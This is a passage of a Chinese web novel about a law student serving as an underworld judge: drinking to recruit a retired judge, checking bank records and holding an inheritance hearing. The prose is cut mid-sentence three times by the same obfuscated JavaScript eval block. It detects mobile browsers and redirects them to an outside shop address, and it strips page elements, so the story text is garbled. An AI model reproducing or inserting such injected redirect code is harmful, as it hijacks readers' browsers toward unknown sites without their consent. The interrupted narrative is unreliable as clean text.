“死者那些?” “正是。” “那好办,档案系统里全着呢,电脑在那儿。” “就这么随意?不怕我查别人隐私?” “大不了被发现了亏点寿命。” “我很有道德的!” 刘松巧第一次在地府上网,充满新奇感。网页ui设计与凡间大同小异,想来也是,这边程序员都是那边过来的。 判官司档案库收录所有人生前死后功德罪行,信息体量过于庞杂,刘松巧想象不出来这些文件加在一起有多大。 系统界面反应很快,快得不像加载大文件的速度。早知道办公电脑配置这么高就不买纸扎的破玩意了。 办公室挂钟走了两个字,向明今才姗姗来迟。 刘松巧伸个懒腰:“两个小时过得真久。” “这个钟是按时辰走的,所以,是两个时辰。”小云从电脑后探出头来,声音轻柔似柳絮。 向老师有些惊讶:“今天你来这么早?” 程姐一笑:“今天都这么说。你是第四个哈哈。” “要不你猜为什么?”刘松巧把打印出的资料藏在身后。 “出国旅游,有时差?” “我倒是想。” “嗯,昨天没睡好,今天早点睡?” “你就不能想点正事?” “案子有眉目了?” “给你个惊喜!”刘松巧把一沓资料拍在桌上,笑得像反派要设下阴谋诡计。 “走,去会会他。” 8. 还有后手 向老师一头雾水:“哪个他?” 刘松巧有意卖个关子,向老师眼神一凛,凑近悄声道:“不会是贺逢雪吧,私下会面有违规程,你别乱来。” 刘松巧郑重回应道:“三个规定,我懂。” “什么规定?” “没事。咱先走着!” 向老师无奈放下手中家伙事,轻装简从跟在刘松巧身后。快到巷子口,他恍然大悟。 “你什么时候来的?” “昨天你不是先走了嘛。” 向明今微低着头沉思,身处热闹街市中安静得像尊黑色雕塑,半晌冒出一句平淡的“辛苦你了”。 周叔垮着个脸。 “你能来看周叔,周叔很高兴,但你……” “周叔,你要演大boss?”刘松巧自顾自先坐下,把纸质材料分门别类摊在桌上。 “哼,你想都不要想。”周叔撅着个嘴,眉毛倒竖,“我是绝对不会加班的!” “要加班也是我加班,您都没上班,加班的前提都不存在。”刘松巧在白纸上勾画圈点,“不过您昨天可答应我了,收集齐资料就来找您。” 周叔挥舞手中蒲扇,指向纸堆:“我是这个意思吗?我怎么不记得。” 刘松巧半抬头,眼睛微合,嘴角带笑:“您是记性不好,还是想耍赖?” “激将法对我可没用,你就一个人查去吧。”周叔往后一仰,晃起躺椅。 “我想也是,您这样德高望重的老法官,哪里会在意这些细枝末节。” 周叔晃着的椅子停下:“怎么听起来像是在骂我不要脸?” “我可没这意思。今天特地来请您喝酒的。” 刘松巧搬出三瓶酒:“白的,红的,啤的,您挑一个,剩下的您留着慢慢喝。” 周叔斜睨一眼,神色鄙夷:“无事献殷勤。” “我就说您记性不好吧。” 周叔闻言差点一个鲤鱼打挺从躺椅上翻起来,刘松巧慢悠悠道:“贵人多忘事,您昨天招待我喝茶,今天我请您喝酒,不过分吧?” “这还差不多。” 虽说还臭着一张脸,周叔毫不客气地拧开白酒瓶盖,直接对嘴咕嘟咕嘟痛饮。 刘松巧朝向明今倾斜,附耳问道:“鬼会喝醉吗?” 向明今依样交头接耳:“岂不更好?” “酒不错,哪儿买的?好久没喝这么舒服了。”周叔虽未脸红,已有醉意。 “那边带过来的,您要喜欢,我再送您一箱。” 周叔把着酒瓶子接连摇头:“那哪成,那不成了,受,受贿了?” 刘松巧替周叔扇风:“构成受贿罪必须要有一条,为他人谋取利益,我有什么利益要您谋的?” “嘿嘿嘿,我知道,你不就是想要我办那个案子。” “那也不算我的利益,也不非法。”刘松巧举起扇子指向向明今,“再说了,有地府工作人员在这儿做见证,回去报备一下,谁能说个不是。” “行,那我也听听,你都查到了些什么。”周叔眼皮耷下,“不过要是你功夫没到位,我也帮不了你。” 刘松巧兴高采烈地将材料反过来递交周叔:“多谢,我给您讲解一下。” “嗯,还可以,基本框架理清楚了。”酒瓶渐空,墨迹布满草稿纸。 “我也没想到,原告诉求之外还有纷繁复杂的关系,果然孤证不可靠。” 周叔拄着空瓶点头:“嗯,那你,想怎么处理?” “这案子太复杂,我临场还是差一些,靠我一个人肯定不行。” “繁案嘛,是这样。” “要不组建个审委会?” 周叔立马圆睁双眼:“学的什么狗屁!审委会是你能组建的吗?这叫合议庭!” “对对对,合议庭,要不咱俩组个,两个一起不输阵。” 周叔哂笑:“你基础知识谁教的?合议庭能只有两个人?少说也得凑够三个。” “那我再拉个审判员来?” “切,这案子还需要三个审判员?一个审判员两个陪审员绰绰有余。” “您说得对,那我给您当陪审员。” 周叔嗯了一声,然后愣住:“啊?我怎么成承办人了?” 刘松巧用桌子磕开啤酒瓶盖:“审判长,您千万别客气,再来瓶?” 向明今独自缩在角落里,黑袍隐于阴影之下,一眼望去难寻踪迹,只有头上簪的小盏灯笼微微发光。 刘松巧和周叔推杯换盏,借酒意再下一城。周叔载歌载舞,咕咚一下栽地上酣睡。刘松巧脸上微热,回头找寻向老师身影,眼睛在屋里扫过三圈,好不容易在黑暗中隐约捕捉到轮廓,就像不开灯找一只玄猫。 “向老师,完事啦。” 向明今抬手施法将周叔搬到床上,不忘掖上被角。 刘松巧有些兴奋,忍不住发问:“我还以为鬼不会睡觉呢。” “都是生前的习惯,不睡也能过,要睡也能睡着。” 刘松巧微微转头,眼神迷离:“我看你工作连轴转,还以为不用睡呢。” 向明今回答得毫无波澜:“都是习惯。” 刘松巧对复读机不感兴趣,蹲下来看资料,眼睛快黏在纸上。看到一半,抬手画了几个大大的圈,咯咯发笑。 “该回去了。”向明今在背后提醒,刘松巧浑不在意,这声儿真像个人工智能,还不如人工智能有感情。 “不,我再看看,还有没有什么疏漏。” “明天看也来得及。” 刘松巧蓦然回头:“明天也只有晚上能看,那才几个小时?我又不像你整天都在这儿。” 向明今神色一滞,似乎没想到她会有如此说法。刘松巧抬头对上他的眼神,似怒非怒,好一会儿才听到一句:“别开这种玩笑。” 细想确实不妥,酒虽壮了怂人胆,却夺了脑子。刘松巧嗫喏道:“我错了,对不起。” “你没有对不起谁。”向明今不再多说什么,大手一挥,刘松巧便失重坠入梦境。 梦里刘松巧在白纸汇流的无边海中奋力游泳,划了半天却纹丝不动,往右手看去,竟然握着一支中性笔。再看一眼,中性笔化成如椽大笔。 她纳了闷了,这种大毛笔她不会使,而且没墨怎么用? 信手往天地间一划,浓墨从半空淌入海洋,连绵群山从海面冒出,如有灵般不断生长。 刘松巧震惊于眼前场景,后知后觉自己挺有能耐。 忽有狂风自天末而来,掀飞纸页,巨浪裹挟刘松巧直奔天际,又重重摔进漩涡深处。光明湮灭,她逐渐喘不过气来。 “唔……” 刘松巧被憋醒,眼前一座白山耸立。 “松糕,你就非得睡我胸口?” 松糕不为所动,揣手伪装大白馒头。 “起来起来,我也起来了。” 松糕不情不愿地挪开,踩在刘松巧身上狠狠伸了个懒腰。 “能不能减肥,你这糕是实心的?” 松糕听后高竖尾巴跑去再啃两口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275521|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫粮。 昨晚喝得不多,但两种酒混合后劲上来了,脑袋不太清醒。梦里喝酒似乎直接作用于精神,醒后身体清明,却觉微醺。抹了一把冷水,醉意丝毫不减。 问题来了,身体解酒靠解酒酶进行代谢,精神解酒靠什么? 搜索引擎一如既往没有答案,刘松巧晕乎乎往床上倒。 闭目冥想,昨晚案子梳理得七七八八,周叔也差不多拉下水了,看上去万事俱备,只欠复庭。但昨晚她表现太过失态,不知是酒精作用还是事情太顺得意忘形,说话没轻没重失了分寸。 向老师虽表情一如既往,但隐隐憋了一股气。她脑子宕机没把关,想什么说什么,还往人家不想工作的痛点戳,想想真欠。 刘松巧拍拍脸,越想越窘迫,还怎么面对向老师? 昨天有多盼晚上,今天就有多怕晚上。 刘松巧这几天习惯了早睡,不到11点就困倦难当,硬瞪着眼不敢入眠。 硬拖了个把小时,眼皮还是不自觉地拥抱在一起。 “额,向……向老师,晚上好啊。”刘松巧差点和向明今撞个满怀。 “昨天还说要多看会儿,今天来这么晚。”向明今略微转身轻松躲开,面色冷淡,嘴上却不留情。 “抱歉抱歉,昨晚我不是有意的。”刘松巧连连鞠躬道歉,提前打好的腹稿忘得干净,脑子一片空白,全靠一张嘴在说。 “你无意做了什么?行这么大礼。” 刘松巧略微抬头,好像看见向老师挑了挑眉。 “我不该说你工作……都怪我昨天不该喝了酒得意忘形,飘了就乱说话。”刘松巧直起腰来,埋头不敢直视。倒不是她胆子小,只是不敢直面尴尬场面。 “还有呢?” “还有……还有什么啊还有。”刘松巧绞尽脑汁想不出还有哪里得罪这位向老师,感觉莫名其妙,猛一抬头撞见向老师目光柔和,冰霜已化。 “还有,不要自作主张、单独行动,危险。” “嗯嗯嗯。”刘松巧点头如捣蒜,不生气就好,事情赶快过去吧。 “你要出事了,我们都得担责,别没头没脑地到处乱窜,对大家都好。” “好,我一定遵守。” “再一个,给。” 向明今将一个黑色u盘放在地上便走到一旁,刘松巧蹲下拾起。 “你不是说资料没法带回去看,这个插电脑上能登录部分兼容网页,文件传网盘就能带过去看了。” “这种好东西,挺难得的吧?向老师,我该怎么谢谢你才好。” “倒也不是稀罕物事,只不过没想到你会主动要求加班就没给你。走吧,时候不早了。” 刘松巧摩挲着u盘接口,后悔今天没早点来,后悔她以小人之心度君子之腹。 虽不能单独行动,外出受限,但向明今直接带她去见了周叔。 “我滴个乖乖,给我下套呢。”周叔咧嘴呲牙,昨晚的酒好像还没醒完。 “您不会以不具有清醒认知的理由反悔吧?”刘松巧语气小心翼翼,说的话近乎挑衅。 “呵,把我当什么人了。” “不是猪的人。” “哈哈哈哈哈。”两人对视大笑,留向明今不明所以。 周叔举起一根手指:“我说啊,假设万一,万一我翻脸不认人,你还要使什么手段?” “我哪有什么手段。”刘松巧狡黠一笑,从兜里摸出一个长方物体,“只不过一点后手。” “嘿,你卑鄙!” 9. 只此一回,下不为例 “这怎么能算卑鄙呢,除非您真不准备认。”刘松巧手中之物正是前几日捎来的手机,屏幕上亮起录音界面。 “小心这么多年,居然被一个新手偷袭了,唉。”周叔叹气,拍拍外套不存在的灰。 “都是为了工作,请您谅解。”刘松巧拉着向老师一起鞠躬道歉,向老师一脸疑惑还是照做了。 “什么谅不谅解的,你做错事了?鞠躬干啥,起来起来。” 围坐方桌,周叔摸下巴:“复庭排了吗?” 向老师坐得一丝不苟,答得官方:“大约明后天,看您什么时候方便。” “我随时都在,看小姑娘,是叫松子,还是什么来着……” “刘松巧。” “对对对,看她什么时候有空。” 刘松巧摊手,表示酸枣膏管够。 向明今翻动册子,在一页上画勾:“后天子时初刻怎么样?” 周叔眯着眼看本子,用手比划比划写过的厚度:“向小哥,排庭排多后面去了?” “最晚的,一旬之后。其他鬼使那儿最晚的排到两旬之后去了。” “案子真少,我那个时候至少排一两个月,多的能排到四个月之后。啧,都快撞审限了。这里开庭快,反而不考审限数据,这世道安排真不公平。” “我实习那家都排大半年后去了,结不完,根本结不完。”刘松巧抬眼望天,抱怨完抬肘撑住桌面,“周叔,人间事忙,地府审判员又不忙,一个人才一件案子,之前几十年都扛下来了,现在还得三顾茅庐才请得动您出山。” “得了吧,你们兼职的才一人同期只做一件。”周叔甩手,“你看向小哥天天忙成陀螺转,全职多苦啊,你说是吧?” 周叔朝向明今方向仰一仰下巴,后者目光微凝,不置可否。 刘松巧想到昨晚窘境,赶快插一句:“向老师这是能者多劳,爱岗敬业,咱们多配合工作也给人家省点心。” 向明今听完还是官方发言式回答:“职责所在。” 反而周叔又要吹胡子瞪眼的,虽然他没胡子,佯怒道:“你是说我不配合?” “我可没说,您也太多心了。”刘松巧撇撇嘴,这次她真没阴阳人的意思。 “那就是把我架上去了,嘿。老实说,操劳几十年,让我玩乐玩乐都不行,虐待老人。”周叔神色一转,表情严肃,“我只答应帮这一次,不是签卖身契,可千万别误会。” 周叔犹怕表现得不够认真,再次举起手强调:“别影响我享受退休生活!” 刘松巧应声点头,但心中默想,真有下次,该来还得来。 小吃街鬼声鼎沸,不得不说,周叔真会选地方,屋里安静,走上几步就是最热闹所在。景区房去景点还需要自己动动腿游览,小吃街房一饱口福只需要张嘴。 “向老师,我请客,你要吃点什么?” 刘松巧整个白天在想如何赔礼,赔礼最好送礼,但她还不清楚向老师喜好如何,胡乱送礼如同蒙眼拍马,就怕拍到马蹄子上。烧纸钱太过露骨,显得关系不太健康,美食则没有这许多顾忌,而且是个人就该有喜欢吃的。 “不用。”向老师专心在前开路,把小摊全当障碍,眼中没有一丝对美食的留念。 刘松巧毫无骨气地盯着别人碗里的红油米线,感觉胃空捞捞的,需要装点什么:“向老师,给我个赔罪的机会,您千万别客气,想吃什么尽管点。” 向明今站住,顿觉在中间阻碍交通,扯住刘松巧衣角躲到街旁屋檐下。 “我不觉有何事需要赔罪。若你真觉得开罪于我,大事化小,小事化了即可,何必一而再再而三地提醒我?”向明今语速飞快一顿说,刘松巧耳朵听清了,脑子一点没转。向老师一向温文尔雅,说话不疾不徐,竟也有嘴皮子攒劲翻的时刻。 “好的,我是傻子。”刘松巧呆愣许久,指着冒菜摊,“忘了我刚才说的,我想请你吃顿饭。” 向明今看她的眼神似乎在说朽木不可雕也,再看都要开始生气了,刘松巧顶住压力光明正大地说:“其实是我饿了,来都来了一起呗?” 最后两人在一家有屋顶的甜水铺子落座,向明今抽走菜单,只点了两碗藕粉。 白瓷碗映衬藕粉微红,粉光晕染,有一种朦胧美。淋上满是金黄桂花的糖浆,令人食指大动。 向老师却不急着动勺子,单手敲桌说道:“这条街的东西不可随意入口,准确说,地府所有的东西都别胡乱进嘴。” “嗯?”刘松巧喜食辛辣,小小一碗甜品虽难填口腹之欲,但也绝不轻易放过,埋头苦干,忙中偷闲嘴里含糊地回一句。 认真吃饭也是一种尊重。 “食材来源复杂,死人倒是无妨,活人吃了轻则肠胃不适,重则……吃饭不宜说这些。”向老师用调羹优雅地搅拌匀净桂花糖浆,舀起一小勺,耐心吹凉后慢慢抿。 “那有官方认证能吃的地方吗,我看个个色香味俱全,摊位也收拾得干净,不能吃太可惜了。”刘松巧见向老师动作慢条斯理,自己手起勺落的速度也跟着慢了下来。 “有。”向老师单独留下一个字后专注吞咽,坚决贯彻食不言原则,倒让刘松巧等得心焦。 “那是什么?”刘松巧抓住两勺之间的间隙赶紧问。 “回办公室,绝对安全。” “办公室只有茶水吧?”还好刚咽下去,不至于呛到。 “那就醒了回去吃,保证没问题。”向明今加快了速度,动作步骤却一个不落。 刘松巧苦笑道:“那也不一定。”比如她本科食堂。 案子表面上规划完全,但还远远不够。纸上得来终觉浅,要主动去探索物质的事实。 庭上本案原、被告双方净是打嘴仗,证据是一个都没交。真言咒虽大大强化言词证据的真实性和证明力,有效拉近法律事实和客观事实的距离,但副作用就是过分依赖当事人自认,极大削弱搜集物证的积极性。往坏处想,咒语的“真”仅到不说谎的程度,如果当事人本身认知错误,案件所认定的事实只能是空中楼阁。事实都错了,那这案子还能判对? 周叔深知其中要害,耳提面命务必要事无巨细一一查验。现在整个案子重心倾斜到作为请求权基础的法定继承权上,所有人的注意力都被家庭纠葛所吸引,而作为审判者必须跳出世俗欲望,保持冷静用法律眼光俯瞰全局。 两人穿过大半个酆都城,先去看看被继承人,也就是唐秋生的“遗产”。 听闻酆都城居大不易。不愿投胎的怨鬼中既不喜荒郊野外,又不爱和活人挤一起的,皆向往定居酆都。原因无他,商业发达,办事方便,一肩挑政治与经济中心。阳间人口膨胀,阴间鬼口滞后性跟着增长,酆都地价如雨后春笋,眼看就要拱翻天花板。地府为保证穷鬼也有机会,将无鬼占有的土地收归地府重新划分成等大地块,每年有机会抽签中一块;为防止运气不均,每鬼投胎前只能中签一次。酆都城又外扩至山脚下,城外土地同样分作均等小块,每鬼限制只得一块,先到先得,不得继承。如此这般又挤下不少鬼。 唐秋生人品不好说,运气却是不错,初来乍到便抽到城中土地,在酆都城中有了容身之所。他一投胎,自然有鬼惦记上这方土地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275522|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就这?” 亲眼见到双方争来抢去的“遗产”真容,刘松巧相当失望。一个平房老破小,水电不通,墙皮斑驳,家具老旧,符合刻板印象里的鬼屋,在酆都实属少见。 “地方还算大,适合推倒重建。”向明今扶了下摇摇欲坠的红漆木门,手一碰簌簌掉皮。 刘松巧用步子丈量长宽:“五米半,十,这算三十公分?也有五六十个平方。”再抬头打量高度,“不用建厨卫和阳台,鬼可以飘上去利用高低空间,细算下来也不小了。” 刘松巧嘟囔道:“酆都地价多少了……” 向老师表示不关心这些,刘松巧递过手机让他帮忙查一查。 一分钟后答案揭晓:“中介报价,40万。” 刘松巧倒吸一口凉气:“嘶,这么点地方,两千万?不对,还有6平米舍掉了,一舍舍240万太奢侈了。怪不得当事人惦记,换我比他还激进。” “你好像,很在乎钱。”向明今欲言又止,“身为裁量公正之人,是不是淡泊一点比较好?” 刘松巧瞪大双眼:“向老师,人怎么能不爱钱呢,没钱怎么活!” 眨眼间,又眼冒精光,“向老师,你能说出这话,怕不是个富翁?” 向老师后退一步:“这有什么关联?” “你应该没听过,谁不爱钱?有钱人才不爱钱!能视金钱如粪土的人,金钱于他多如粪土。”刘松巧边说边比划,逼得向明今连连后退。 向明今正了正衣领:“不是钱多钱少的事,贪欲不可生。” “古人不都说了,君子爱财取之有道,爱钱和贪之间不是必然关系。”刘松巧左手在空中画了个勾,“再说了,别老用枪指着好人,多剖析下当事人。” 向老师疑惑:“你的意思是,当事人是坏人?” 刘松巧勾起一边嘴角:“不好也不坏,只是贪欲作祟。都想独吞一整块肥肉,偏偏我们的工作是分肉,这割肉的刀子可不好下。” “肉不只这一块,除了这儿,还有其他财物。”向明今抓起刘松巧的卫衣帽子,“一起传送,快些。” “啊?”还没反应过来,刘松巧眼前忽地一闪,场景从昏暗室内转到……明亮室内。 映入眼帘的是纯黑大理石地板,色泽沉稳内敛,透出奢华大气。地板反光倒映出一对铜像的影子,铜色微黄泛黑,一看就有些年头;模样像个狮子,但头上长角,不知是貔貅还是麒麟。 眼前装潢有些许眼熟,结合此行目的,刘松巧猜想:“这是传说中的天地银行?” 向明今先一步走向远处窗口,和柜员交谈什么。不一会儿,抱回一大摞纸质材料。 一看密密麻麻的小字,果不其然,是银行流水。看着这么大一堆材料,刘松巧头有点疼。以前实习最烦的就是核对银行流水,字又小又密,页数又多,几大银行标注对手信息格式也不同,反复切换下来眼睛和脑袋都受不住。 “这个都要看吗?”刘松巧随手翻开一页,头上神经条件反射地跳动。 向明今专注筛选信息,手不停眼不移:“三个人近十年的流水,不够还可以再往前查。” 刘松巧长叹一口气,认命地拿过其中一份,对照第一行识别每一个数字代表什么。 十年信息错综复杂,间接描绘出一个人的生活轨迹。吃饭,购物,消遣,还有情感赠与。直接跳到最后一页看余额,被取得干干净净一点不剩,就像人一样,眼一闭什么都没留下。 刘松巧正想感慨人死如灯灭,忽然觉得不对劲,赶快翻回封面。 这不是被继承人唐秋生的账户! 10. 一锤定乾坤 天地银行规则第一项,地府只此一家,别无分号。 第二项,每人有且仅有一个账户,死后注册,投胎注销。 调取银行账户信息基本囊括个人大部分关键收支,再加上近几年地府也开始流行移动支付,衣食住行一举一动在金融账上纤毫毕现。 刘松巧带着惊讶与好奇翻回最后一页倒推资金流向,最后几页进账稀少,大笔资金流出,每笔取现间隔越来越短,最后将零碎一把抹净。 她眼前浮现出账户主人疲于奔命近乎狼狈的模样,又不忙着投胎,是进了什么销金窟? 另两个也暗含不少信息,挨个记下相关商家和收款账户拉通梳理,进而构建起人际关系网,一两个小时不经意就溜走了。刘松巧照例被打发回去保证睡眠,临走前不忘感叹,向老师真是个大好人啊。 刘松巧心里揣着案子,一大早就醒了。略一翻身,手有些麻,似乎有什么东西硌着了。 忆及前晚怪梦,刘松巧赶紧转头看向手掌,生怕真冒出来一支笔。手紧握成拳,一时麻木难动弹,略活动松泛些,用另一只手掰开手指,掌心竟躺着个黑色塑料物件。 她迷糊三秒,刚想起来那是个u盘。不过,地府的东西还能这么带到阳间? 虽然不是第一次验证地府的存在,刘松巧还是有些稀奇能摸得着的真实物体。u盘通体哑光黑,没加logo,推拉式设计,还有个洞留待穿绳,看上去并没有任何奇特之处。 u盘接上电脑,还没来得及思索怎么使用,浏览器自动弹出一个OA登录界面,标题朴实无华“跨区域办公平台”。 刘松巧研究起账号密码,网页并没有任何提示。打开u盘文件夹,子文件夹命名十分直白,一路点开“亚洲”“中国”,一个文件夹叫“活”,另一个文件夹叫“失活”。 刘松巧盯着页面哈哈笑了一分钟才继续往下点,里面躺着一个不明类型的文件“login”,应该就是登录关窍。鼠标双击文件,画面静止没有任何反应。 莫非这破电脑又卡了? 刘松巧晃晃鼠标准备刷新再来一次,却发现光标也不动了。轻车熟路双手离开键盘直奔开关键,还没摁下去,光标自己先动了。 怎么着,地府的东西,自带闹鬼? 光标在页面画了一圈,点开网页,一个一个输入账号密码,记住账号,记住密码,登录。 刘松巧感慨法术真是与时俱进,还能穿过网线,下一秒看到安全管家跳出木马提示。 合着就是把她电脑黑了! 两分钟后光标不再有动静,刘松巧终于取回了电脑的操控权。OA界面有个聊天框,模样和常见聊天软件大致一般,上面几个好友全是实名制上网,倒也省些功夫。 向老师头像下显示忙碌状态,聊天框里早已躺着扫描件压缩包等她查收。 压缩包中证据粗略分为几组,至少四分之一都是她睡着后才调取的,真不知怎么谢谢向老师才好。 初步刨除年代久远与案子无关的记录,也还剩下几百页。证据太多,证据链还得自己串,再列个表做证据目录。刘松巧实在无奈,她担着审判员的名,干着律师的活,不行,得加钱! 聊天框叮叮乱响,周叔,工作的时候喊职务,得叫周审判长,一连发了三条消息。 “拉不来第三个人。” “我想了下。” “你来当助理。” 刘松巧不仅没有被踢出合议庭的沮丧,反而有狐假虎威的窃喜,躲法官背后,她可太有经验了。 “好的,收到。周法官,需要我做哪些准备?” 感谢在线聊天,刘松巧也过上了居家办公的生活,不用大白天强迫自己做梦。 一天多闭门不出,爸妈轮番来屋内问候,刘松巧下意识想藏起屏幕上的文件,幸好配着旁边的法条解释看上去很正经,再问就是“帮人写起诉状”。 爸妈出门之后小声嘀咕这孩子越来越懂事了,做父母的也得配合下。刘松巧在门内偷听得欢喜,晚上收获好菜一桌,美其名曰学习辛苦了补一补。 刘松巧吃个半饱就忍痛割爱钻回卧室继续用功,以便准时入梦。可惜十点四十仍旧精神抖擞,只能再用药物辅助一番,甜得有点难以下咽。 心想自己这么拼命,以后不会是个忠实牛马吧? 在周叔,不对,工作称职务,周法官的协调下,这次开庭设备齐全许多,看上去已经是个标准的法庭了。 助理单开一桌,面前还放了个电脑连接投影仪,实时共享屏幕。 这位置她熟。 贺逢雪一早便稳坐被告席上,气定神闲。刘松巧忍不住多瞟了几眼,不知是错觉还是人逢喜事精神爽,总感觉她是不是年轻了些? 唐笑辉脸色依旧是灰中带粉,灰色浅了些,却更加憔悴。 刘松巧座位背对周法官,看不见他的神情,只听见中气十足一声吼:“现在开庭!”差点没震聋她耳朵。 老法官开庭架势确实不一般,从原被告端正神情来看,镇场子效果不错,很不错。 “本庭先进行说明,由于案件情况复杂,审判员由刘松巧变更为我,周聚成,原、被告有没有异议?” 刘松巧还在等人点头,结果先被点名,快打笔录。还好最近游戏没少打,打字还算熟练,但还是跟不上说话的速度。周法官只略等等她,马不停蹄宣布下一事项。 “根据庭后调查情况,本庭依职权追加两名被告人,唐秋生的父母为被告,原被告有没有异议?” 唐笑辉有些呆愣,没想到还会牵扯上祖辈;贺逢雪淡定些,眼珠仍是不停地转,明显这出乎她的意料。 两个形态飘忽的鬼魂被向老师搀着入场,落座被告席。原本就不长的被告席突然挤着三个魂,略显逼仄。刘松巧瞥见贺逢雪眼神中一丝厌烦,另两位更是连神情都看不出,似乎随时都要散去。 这样了还被架来开庭,算不算虐待老鬼? 反倒是唐笑辉先按捺不住:“我不想告我爷奶,能不能不让老人家来?” 周法官严肃驳回:“不行,继承案子要告就得把其他继承人全告了,也不可能给你加到原告那边去。” 唐笑辉神情更难受了,看上去恨不得自己坐到被告那边去。 周法官不管当事人心情如何,按着他的节奏推流程:“原告,把你诉求再说一遍。” 唐笑辉原样说了一遍,周法官纠正道:“是原、被告四个平分。” 没等有什么反应,周法官直接指示被告答辩,刚来的两位直接摇头略过,只有贺逢雪重复之前的说法,不等展开,周法官直接推进流程到出示证据。 鉴于双方都没准备,该刘松巧上场了。首先举示各方身份证明,两位被告几十年前结婚生下被继承人唐秋生,唐秋生三十多年前与人结婚,婚内生下原告唐笑辉,十多年前因病去世,托梦做法和仍在阳间的前妻离婚,三年前与在地府的最后一任妻子,被告贺逢雪结婚。原告唐笑辉两年前来地府,其生母至今仍在阳世。 贺逢雪上来便提异议,说唐笑辉不是亲生子。唐笑辉当着爷奶的面有所隐忍,却是怒火难耐。 周法官清了清嗓子,朗声道:“鉴于原被告都不是学法的,地府也不容易获取相关材料,本庭普一下法,传统亲属法下婚生子女认定采取的是推定制度,妻子在婚姻关系存续期间生育的子女推定为丈夫的婚生子女,除非提出《民法典》里面这个异议之诉否认亲子关系,法律上,他就是婚生子,就能继承遗产。” 又指向被告:“被告你前面说那么多,有证据没有?” 贺逢雪双手抱在胸前,冷着个脸:“他亲爹亲口说的。” 周法官敲锤:“那就是没证据,下一组,质证。” 唐笑辉指控贺逢雪隐匿遗产,贺逢雪责怪唐笑辉殴打亲父,没照顾过一天,都要求减少对方继承份额。 向老师特地找了城门管理处授权,进出记录显示唐笑辉一个月都进不了一次城,每次只停留半天,最近几个月更是几乎不曾踏入城内,唯二入城记录还是开庭。 贺逢雪来了劲,就着证据哭喊起“都是我一个人照顾他,可怜的老唐,爹不疼娘不爱”之类言语,周法官嫌烦,直接让向老师给她暂时禁言了。 至于隐匿遗产一事,还需和遗产相关账目一起查明。推进到这一环节,一尺高的账单哗地摊满一桌,大家脸色都变得不太好。 唐秋生投胎前在这儿住了十几年,刨除无关账目,一年前开始神志不清、行动不便,平日在家休养。细究其收支,收入以前妻烧纸为主,约莫有个几十万;日常支出不多,但一个月前突然连续支出大笔资金用于电子支付,一分不剩全掏光了。 根据邻里口述,转出大额资金那几日,唐秋生已经不会说话了,整日呆坐门口。可以推测,转出资金并非其本人操作。 贺逢雪先前自认,只有她在唐秋生身边照顾她,想说不是她操作的,怕是有些难度。 她此刻不能说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275523|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索性垂着头不看。 周法官敲桌:“都有过错,就各退一步,你们看怎么样?” 四位纷纷点头,暂且缓解了尴尬场面。 但下一刻又抽出唐笑辉和贺逢雪的账目,两人如坐针毡。银行流水这种东西,还是太隐私了,突然公开处刑,谁也不能坦然待之。 贺逢雪在地府待得更久,消费欲旺盛,原本流水册子摞成一座小山,实在不便展示,只截取了最近一年的部分。 刘松巧指着某一行问:“唐秋生投胎第二天这笔大额收入是哪儿来的?” 贺逢雪刚解除禁言,微眯着眼:“退款。” 周法官追问:“什么东西的退款?这上面没有消费记录。” “美容,那家老板约定好的日子没来,给我退的。” “什么美容要二十万?误了时间,改天不就好了,为什么还要多此一举?” 贺逢雪闭嘴不言,刘松巧差点以为又被禁言了,回头一看,向老师缓缓摇头。 又来这一套,答不上就忽视,好像不答就没这回事一样。 周法官一点不急:“不管什么钱,既然你已经把部分遗产拿到手了,到时候分给其他人就是。” “各位还有机会进行调解,不过在调解开始前,为了维护公序良俗,我要说一件事。”周法官走下台阶,拿起刘松巧桌上剩下的最后一份流水详单,“唐笑辉,你要交待吗?” 唐笑辉用疑惑的眼神看向材料,大概十秒之后神色慌张起来,双手不自觉握紧,甚至有些发抖。 周法官举着材料走到他面前,如同一堵高大石碑:“听说你是爷爷奶奶带大的,那就当着他们的面,和我说一说,你到底赌了多少?” 刘松巧愕然,她看流水只看到奇怪的大额支出,没想到还有这些名堂。她还头一次亲眼看到赌徒,带着好奇观察唐笑辉的表现。 唐笑辉头快埋到桌子上,不断地抖脚。 周法官继续说:“你三十岁不到就因为网赌欠债自杀,阳间债是一笔勾销了。可到这儿也没戒,还去野赌,你妈给你烧的钱赌完了,发现亲爹投胎去了留下些遗产,就想拿去还赌债是不是?” 